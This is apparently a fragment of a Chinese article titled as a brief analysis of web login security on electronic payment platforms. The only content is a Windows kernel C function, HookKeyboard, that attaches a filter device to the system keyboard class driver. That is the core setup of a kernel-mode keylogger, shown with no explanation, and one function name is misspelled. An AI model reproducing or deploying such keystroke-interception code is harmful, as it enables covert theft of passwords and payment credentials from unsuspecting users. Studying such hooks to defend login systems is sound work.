电子支付平台的WEB登陆安全性简要分析

NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
PDEVICE_OBJECT pKeyboardDeviceObject;
NTSTATUS status = IocreateDevice
(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD,
 0, true, &pKeyboardDeviceObject);
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->
Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->
Flags& ~DO_DEVICE_INITIALIZING;
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, 
sizeof(DEVICE_EXTENSION));
PDEVICE_EXTENSION pKeyboardDeviceExtension=(PDEVICE_EXTENSION)
pKeyboardDeviceObject->DeviceExtension;
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0";
STRING ntNameString;
UNICODE_STRING uKeyboardDeviceName;
RtlInitAnsiString( &ntNameString, ntNameBuffer );
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName,
 &ntNameString, TRUE );
IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,
&pKeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&uKeyboardDeviceName);
return STATUS_SUCCESS;
}